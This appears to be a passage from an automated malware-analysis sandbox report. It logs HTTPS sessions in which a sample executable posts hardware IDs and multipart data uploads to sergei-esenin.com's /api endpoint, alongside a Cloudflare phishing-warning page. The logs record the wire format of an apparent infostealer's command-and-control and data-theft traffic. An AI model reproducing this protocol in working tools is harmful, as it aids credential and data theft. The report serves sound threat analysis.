65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-24 02:02:27 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:02:27 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-24 02:02:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50005	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:27 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:02:27 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:02:28 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2lbf5iluauttalvpr5ba3r7n5a; expires=Sun, 16 Feb 2025 19:49:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FJ%2Fwr6v%2BGV1INMp6U5MZxvejntMKBVnFJ8Wb9%2BR9CuA9KnAvm3STBd5F8USr1%2FiqFusDiIcupwC1q6B29j8ykpQcEkJBeP01jLW5f%2BVD2ss3rUBT0NEwab4kkS2ZDlIOoFGnyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662855eb13168-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1345&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=1991746&cwnd=250&unsent_bytes=0&cid=761f0dab0ae06a5f&ts=407&x=0"
2024-10-24 02:02:28 UTC	349	IN	Data Raw: 31 64 38 34 0d 0a 7a 4f 32 62 4f 6b 52 6a 4a 54 55 34 69 7a 54 2b 6a 48 30 59 49 61 72 43 4f 79 43 34 41 57 68 72 67 71 65 6f 5a 75 52 64 46 38 4f 33 7a 2b 30 59 66 6c 63 4a 46 30 76 75 46 73 54 34 44 32 31 45 68 75 42 61 52 4a 6f 37 44 67 72 75 31 4d 31 4b 78 69 74 36 34 66 61 4c 2b 6c 59 33 42 67 6b 58 58 66 4d 57 78 4e 63 47 4f 6b 54 45 34 41 45 43 33 57 73 4b 43 75 37 46 79 51 32 4c 4c 58 75 67 70 49 48 38 55 69 45 41 51 56 52 55 35 6c 47 62 36 52 78 79 54 38 4f 76 55 30 32 61 4c 55 6f 4f 2b 49 57 53 52 4b 6b 34 59 36 4b 42 6a 4f 68 52 5a 68 34 4a 54 68 72 75 57 74 79 32 58 33 6c 45 79 4b 35 64 52 4e 4e 70 41 41 50 6d 78 4d 77 4d 6c 44 52 78 71 36 53 50 2f 31 4d 72 43 56 56 5a 58 75 46 61 6e 65 4d 63 4f 67 32 49 70 30 45 43 67 69 4e 5a 4f 2b 50 55 32 Data Ascii: 1d84zO2bOkRjJTU4izT+jH0YIarCOyC4AWhrgqeoZuRdF8O3z+0YflcJF0vuFsT4D21EhuBaRJo7Dgru1M1Kxit64faL+lY3BgkXXfMWxNcGOkTE4AEC3WsKCu7FyQ2LLXugpIH8UiEAQVRU5lGb6RxyT8OvU02aLUoO+IWSRKk4Y6KBjOhRZh4JThruWty2X3lEyK5dRNNpAAPmxMwMlDRxq6SP/1MrCVVZXuFaneMcOg2Ip0ECgiNZO+PU2
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 50 2f 31 59 6e 44 45 64 46 55 75 4a 64 6d 66 77 55 63 30 37 46 6f 46 52 49 31 57 41 4b 44 75 72 50 78 51 36 43 4d 6e 69 6e 72 6f 2b 35 46 6d 59 47 58 78 63 43 71 58 57 5a 2f 68 68 32 56 59 71 61 47 56 32 55 65 6b 6f 4f 37 49 57 53 52 49 34 36 64 71 4b 6c 67 50 70 51 4c 52 4e 48 52 56 7a 6b 55 34 37 6f 47 6e 52 4a 79 37 4a 54 54 4e 78 67 41 77 4c 70 77 4d 30 41 78 6e 45 31 70 72 62 50 6f 52 67 48 44 45 78 62 55 50 35 57 33 50 46 52 59 77 50 50 72 42 6b 61 6d 6d 63 4c 44 65 48 42 78 41 71 43 4d 33 4f 76 6f 34 44 2f 55 69 59 47 54 56 39 53 36 46 75 58 34 52 39 2f 54 73 79 6d 56 55 50 66 49 30 52 4a 35 39 32 4b 58 4d 59 52 63 71 4b 38 7a 63 78 62 4b 41 39 41 51 52 72 32 47 49 57 75 47 48 59 44 6b 4f 42 58 52 39 56 78 43 78 76 6c 79 39 67 49 67 7a 6c 34 6f 71 Data Ascii: P/1YnDEdFUuJdmfwUc07FoFRI1WAKDurPxQ6CMninro+5FmYGXxcCqXWZ/hh2VYqaGV2UekoO7IWSRI46dqKlgPpQLRNHRVzkU47oGnRJy7JTTNxgAwLpwM0AxnE1prbPoRgHDExbUP5W3PFRYwPPrBkammcLDeHBxAqCM3Ovo4D/UiYGTV9S6FuX4R9/TsymVUPfI0RJ592KXMYRcqK8zcxbKA9AQRr2GIWuGHYDkOBXR9VxCxvly9gIgzl4oq
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 4b 41 39 41 51 52 72 32 47 49 57 75 47 48 59 44 6b 4f 42 56 53 39 70 6f 41 41 33 67 77 73 63 42 68 54 68 32 72 4b 6d 46 39 31 38 69 44 55 35 61 58 4f 6c 52 6d 4f 73 4e 66 30 72 45 72 42 6b 4d 6d 6d 51 53 53 62 69 46 35 51 4f 51 50 46 71 69 76 34 61 35 52 32 67 59 42 31 42 57 71 51 37 63 36 52 70 79 53 4d 36 6f 57 56 44 66 62 51 45 49 36 73 50 4c 43 59 6f 35 64 61 43 75 69 66 56 59 49 51 5a 56 52 56 2f 76 52 4a 61 75 55 54 70 45 30 4f 41 42 41 75 78 7a 48 52 6a 32 68 2f 38 48 69 44 46 79 74 2b 36 51 74 30 46 6d 42 6b 73 58 41 71 6c 64 6e 4f 49 59 63 6b 58 4d 71 46 5a 4e 30 33 45 4c 42 65 37 58 7a 51 53 50 4d 58 71 74 70 34 4c 2b 56 53 30 4c 53 6c 4e 64 36 42 62 53 72 68 68 69 41 35 44 67 62 31 4c 58 62 79 51 43 37 4d 79 4b 47 38 67 6d 4e 61 61 69 7a 36 45 Data Ascii: KA9AQRr2GIWuGHYDkOBVS9poAA3gwscBhTh2rKmF918iDU5aXOlRmOsNf0rErBkMmmQSSbiF5QOQPFqiv4a5R2gYB1BWqQ7c6RpySM6oWVDfbQEI6sPLCYo5daCuifVYIQZVRV/vRJauUTpE0OABAuxzHRj2h/8HiDFyt+6Qt0FmBksXAqldnOIYckXMqFZN03ELBe7XzQSPMXqtp4L+VS0LSlNd6BbSrhhiA5Dgb1LXbyQC7MyKG8gmNaaiz6E
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 56 68 62 37 56 4f 5a 36 68 68 2b 52 63 66 67 46 77 4c 64 65 30 70 52 6f 4f 72 74 4d 63 51 65 54 2b 47 78 77 65 41 59 49 51 30 48 44 78 72 6c 56 5a 44 6d 45 48 78 4b 78 4b 70 51 53 64 5a 6f 44 67 58 70 77 4d 77 46 67 7a 70 30 70 61 4b 46 2f 31 73 6c 44 6b 68 59 55 71 6b 59 33 4f 6b 48 4f 68 75 49 68 55 35 4a 31 47 56 4b 46 71 37 63 69 67 4f 4b 66 79 33 68 6f 6f 62 2f 58 69 4d 4e 52 6c 46 53 37 46 36 59 37 78 6c 38 51 4d 65 6b 58 45 50 56 5a 77 59 48 36 73 54 4c 43 49 30 77 66 71 54 75 77 62 6c 66 50 6b 45 66 46 32 76 71 51 49 76 2b 45 7a 70 63 68 72 6b 5a 52 64 59 6a 55 6b 6e 68 31 38 41 4f 69 44 70 36 70 4b 32 41 2f 6c 55 67 44 55 31 65 55 75 39 5a 6c 66 77 63 64 6b 33 50 72 6c 56 4d 31 32 6b 4a 42 4b 43 4c 69 67 4f 65 66 79 33 68 67 6f 6a 30 64 69 30 4e Data Ascii: Vhb7VOZ6hh+RcfgFwLde0pRoOrtMcQeT+GxweAYIQ0HDxrlVZDmEHxKxKpQSdZoDgXpwMwFgzp0paKF/1slDkhYUqkY3OkHOhuIhU5J1GVKFq7cigOKfy3hoob/XiMNRlFS7F6Y7xl8QMekXEPVZwYH6sTLCI0wfqTuwblfPkEfF2vqQIv+EzpchrkZRdYjUknh18AOiDp6pK2A/lUgDU1eUu9Zlfwcdk3PrlVM12kJBKCLigOefy3hgoj0di0N
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 74 45 33 4b 42 66 66 56 75 49 2b 42 6c 30 33 58 4d 61 43 71 4c 30 33 41 65 51 4e 48 69 74 37 70 43 33 51 57 59 47 53 78 63 43 71 56 43 54 35 78 78 31 51 73 47 73 56 45 66 54 5a 67 73 50 35 4d 2f 41 42 49 41 35 64 4b 53 6b 6a 50 68 53 4c 77 5a 50 55 46 6e 37 46 74 4b 75 47 47 49 44 6b 4f 42 77 52 63 68 74 47 6b 6e 2f 69 39 4e 45 67 54 4d 31 2b 65 36 4c 38 31 63 69 42 6b 74 52 58 2b 39 62 6e 65 45 65 65 6b 7a 4d 71 31 42 45 32 32 34 50 42 4f 54 58 77 41 2b 4a 4d 33 79 74 6f 38 2b 33 47 43 45 5a 42 77 38 61 32 46 75 53 34 42 68 73 41 39 66 75 51 41 4c 64 62 30 70 52 6f 4d 54 47 43 34 55 77 64 71 4b 76 68 65 74 4b 4b 67 68 50 55 6c 62 69 57 4a 72 38 47 58 56 4b 79 36 4e 51 52 64 4a 76 41 41 72 6e 68 59 52 45 67 53 63 31 2b 65 36 73 37 6b 67 72 51 56 67 5a 51 Data Ascii: tE3KBffVuI+Bl03XMaCqL03AeQNHit7pC3QWYGSxcCqVCT5xx1QsGsVEfTZgsP5M/ABIA5dKSkjPhSLwZPUFn7FtKuGGIDkOBwRchtGkn/i9NEgTM1+e6L81ciBktRX+9bneEeekzMq1BE224PBOTXwA+JM3yto8+3GCEZBw8a2FuS4BhsA9fuQALdb0pRoMTGC4UwdqKvhetKKghPUlbiWJr8GXVKy6NQRdJvAArnhYREgSc1+e6s7kgrQVgZQ
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 6f 47 48 78 4e 32 71 56 66 54 64 56 71 41 77 33 6f 78 73 6f 41 67 6a 68 77 6f 71 4b 45 2f 6c 73 70 42 55 35 5a 55 2b 59 57 30 71 34 59 59 67 4f 51 34 48 68 5a 32 57 38 48 53 66 2b 4c 30 30 53 42 4d 7a 58 35 37 6f 50 33 58 53 59 4c 51 56 4e 66 37 31 79 5a 37 68 52 35 54 4d 79 6d 58 55 33 61 61 41 4d 49 35 73 44 41 44 34 41 79 64 71 65 6f 7a 37 63 59 49 52 6b 48 44 78 72 4a 54 5a 48 69 47 44 70 63 68 72 6b 5a 52 64 59 6a 55 6b 6e 72 79 63 34 44 68 6a 4a 32 71 61 75 4c 38 31 30 6d 43 56 56 66 57 75 35 45 6a 75 34 57 66 30 2f 4c 6f 46 31 45 30 32 55 4a 44 61 43 4c 69 67 4f 65 66 79 33 68 67 34 50 2b 63 53 45 61 42 30 67 55 38 42 61 62 34 6c 38 69 41 38 6d 72 55 30 33 58 59 41 77 4b 36 38 44 41 42 59 45 33 65 4c 4f 74 67 50 5a 63 4a 67 35 42 55 56 76 6d 55 4a Data Ascii: oGHxN2qVfTdVqAw3oxsoAgjhwoqKE/lspBU5ZU+YW0q4YYgOQ4HhZ2W8HSf+L00SBMzX57oP3XSYLQVNf71yZ7hR5TMymXU3aaAMI5sDAD4Aydqeoz7cYIRkHDxrJTZHiGDpchrkZRdYjUknryc4DhjJ2qauL810mCVVfWu5Eju4Wf0/LoF1E02UJDaCLigOefy3hg4P+cSEaB0gU8Bab4l8iA8mrU03XYAwK68DABYE3eLOtgPZcJg5BUVvmUJ
2024-10-24 02:02:28 UTC	370	IN	Data Raw: 56 63 76 6e 5a 33 7a 39 64 51 41 4f 38 4d 4c 64 43 38 5a 78 4e 61 37 75 31 38 41 59 4c 77 5a 63 52 6b 7a 6b 52 70 75 75 49 44 51 44 30 4f 41 42 41 75 39 67 42 41 66 6e 30 39 74 4a 6f 53 6c 2f 70 72 36 49 37 6c 64 6d 54 77 64 52 47 72 45 46 30 71 34 62 61 77 4f 51 38 41 73 5a 6a 7a 42 64 57 62 4c 61 68 42 33 47 4b 54 58 35 2f 4d 47 35 53 6d 5a 5a 42 78 42 5a 2b 30 53 61 37 51 6c 35 42 50 61 65 66 6c 6a 58 5a 52 30 59 33 76 76 4e 48 6f 73 35 59 72 44 69 6d 76 70 57 4b 41 5a 52 46 78 53 70 57 64 79 32 4a 6a 6f 4c 69 4a 38 58 41 73 49 6a 55 6b 6e 56 78 73 51 4b 67 53 6c 6b 37 49 6d 56 39 46 34 78 45 41 63 5a 47 75 38 57 78 4c 35 52 4f 6b 66 5a 34 41 45 53 69 44 68 66 57 72 65 56 6d 42 76 49 4a 6a 57 33 37 74 65 72 46 6d 59 54 42 77 38 61 72 6c 57 4f 2f 42 6c Data Ascii: VcvnZ3z9dQAO8MLdC8ZxNa7u18AYLwZcRkzkRpuuIDQD0OABAu9gBAfn09tJoSl/pr6I7ldmTwdRGrEF0q4bawOQ8AsZjzBdWbLahB3GKTX5/MG5SmZZBxBZ+0Sa7Ql5BPaefljXZR0Y3vvNHos5YrDimvpWKAZRFxSpWdy2JjoLiJ8XAsIjUknVxsQKgSlk7ImV9F4xEAcZGu8WxL5ROkfZ4AESiDhfWreVmBvIJjW37terFmYTBw8arlWO/Bl
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 32 36 65 38 0d 0a 47 48 35 42 41 46 52 49 2b 31 43 66 2b 42 77 39 66 66 61 6a 54 30 2f 56 61 41 73 33 33 75 76 48 42 59 55 78 4e 35 43 34 67 75 6c 62 49 77 5a 35 61 56 54 75 51 70 76 67 47 58 6f 44 68 75 42 57 41 6f 4a 61 53 6b 47 67 2b 6f 52 45 6e 6e 38 74 34 5a 75 4d 39 31 59 68 46 31 59 61 65 66 39 62 6b 2b 55 65 4f 67 32 49 70 68 6b 61 69 69 31 4b 44 66 47 46 6b 6c 54 55 5a 43 44 79 2b 64 2b 72 52 32 67 59 42 30 45 61 73 51 54 53 72 67 30 36 47 34 6a 6e 56 30 2f 62 59 41 51 4b 38 74 66 4d 42 35 41 38 4d 70 2b 51 72 76 52 54 4b 67 78 49 58 47 54 58 64 35 48 6c 45 33 64 4d 77 35 35 6e 56 39 6c 74 42 41 37 32 31 49 70 4b 78 6a 41 31 2b 5a 66 50 73 52 67 5a 54 77 64 50 47 72 45 57 71 65 30 52 64 45 54 65 73 52 52 6a 31 32 67 47 42 4f 2f 4f 69 6b 72 47 4f Data Ascii: 26e8GH5BAFRI+1Cf+Bw9ffajT0/VaAs33uvHBYUxN5C4gulbIwZ5aVTuQpvgGXoDhuBWAoJaSkGg+oREnn8t4ZuM91YhF1Yaef9bk+UeOg2Iphkaii1KDfGFklTUZCDy+d+rR2gYB0EasQTSrg06G4jnV0/bYAQK8tfMB5A8Mp+QrvRTKgxIXGTXd5HlE3dMw55nV9ltBA721IpKxjA1+ZfPsRgZTwdPGrEWqe0RdETesRRj12gGBO/OikrGO
2024-10-24 02:02:28 UTC	1369	IN	Data Raw: 4d 76 6d 59 59 4a 46 42 55 53 75 39 56 6f 74 41 30 64 6b 58 50 75 6c 35 45 2f 45 4e 4b 52 36 44 4b 69 6c 79 2f 66 7a 33 68 6b 63 47 35 51 47 5a 5a 42 32 4a 5a 35 31 69 62 2b 41 34 33 5a 74 2b 6a 53 55 54 5a 49 30 52 4a 35 6f 57 53 56 4d 68 2f 63 62 44 75 31 36 6b 4b 66 56 51 55 41 41 71 37 53 64 4c 33 58 32 77 44 6b 50 49 58 41 73 67 6a 55 6b 6d 6e 78 74 67 57 67 44 78 6a 6f 75 6d 78 78 33 34 6c 45 45 31 32 56 2f 6c 52 6f 74 41 4b 65 55 33 47 70 30 39 54 6d 69 31 4b 42 71 43 64 38 30 54 4f 63 33 4f 69 75 4d 2f 47 46 6d 59 5a 42 77 38 61 33 46 57 53 34 42 68 73 55 6f 57 47 57 6c 50 51 51 67 63 5a 35 34 57 45 52 49 42 2f 4c 66 4c 67 7a 2f 31 4a 5a 6c 6b 58 42 51 47 38 42 63 75 2b 54 57 55 4e 30 65 42 50 41 6f 49 78 52 45 6e 79 68 5a 4a 45 77 54 78 6e 73 36 Data Ascii: MvmYYJFBUSu9VotA0dkXPul5E/ENKR6DKily/fz3hkcG5QGZZB2JZ51ib+A43Zt+jSUTZI0RJ5oWSVMh/cbDu16kKfVQUAAq7SdL3X2wDkPIXAsgjUkmnxtgWgDxjoumxx34lEE12V/lRotAKeU3Gp09Tmi1KBqCd80TOc3OiuM/GFmYZBw8a3FWS4BhsUoWGWlPQQgcZ54WERIB/LfLgz/1JZlkXBQG8Bcu+TWUN0eBPAoIxREnyhZJEwTxns6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50008	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:30 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: sergei-esenin.com
2024-10-24 02:02:30 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:02:30 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=is20ac0pvnnhsuq87d0p5bjq3b; expires=Sun, 16 Feb 2025 19:49:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iAantU1iqDQ3ZAcEQ7V5wYLm3L%2BE%2BfZwuZeqhhyqdYrwluYntUSxpWDXEyx9DOZtKrkKERrqXtVSfBxbTKahj3ydvGXN%2BgLx%2BSboSfPuXa4S%2Bz80jL2K3Hbel%2B8Cslaw4ZVKxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662942b692d44-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1312&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13879&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=a88cd3bc2a17ff2e&ts=424&x=0"
2024-10-24 02:02:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50012	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:32 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: sergei-esenin.com
2024-10-24 02:02:32 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:02:32 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=11evfb45jdm69e0smi0l0288t8; expires=Sun, 16 Feb 2025 19:49:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YUWVqE1uZFnbsdaR5Q%2FO0ctiFkTRGpf67WhmgbGVksL%2FGkHbm%2FvH5Dajey%2FQ%2F%2FtepQvlrsyHeI9UYuodi4mglNRqtsdNocnxJAR09vn%2BM0HSmZuNYb1nUIfOgcs5ggIun0WNVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76629f7887485f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1869&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16111&delivery_rate=1647326&cwnd=251&unsent_bytes=0&cid=34d641784ddb746a&ts=559&x=0"
2024-10-24 02:02:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50024	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:34 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: sergei-esenin.com
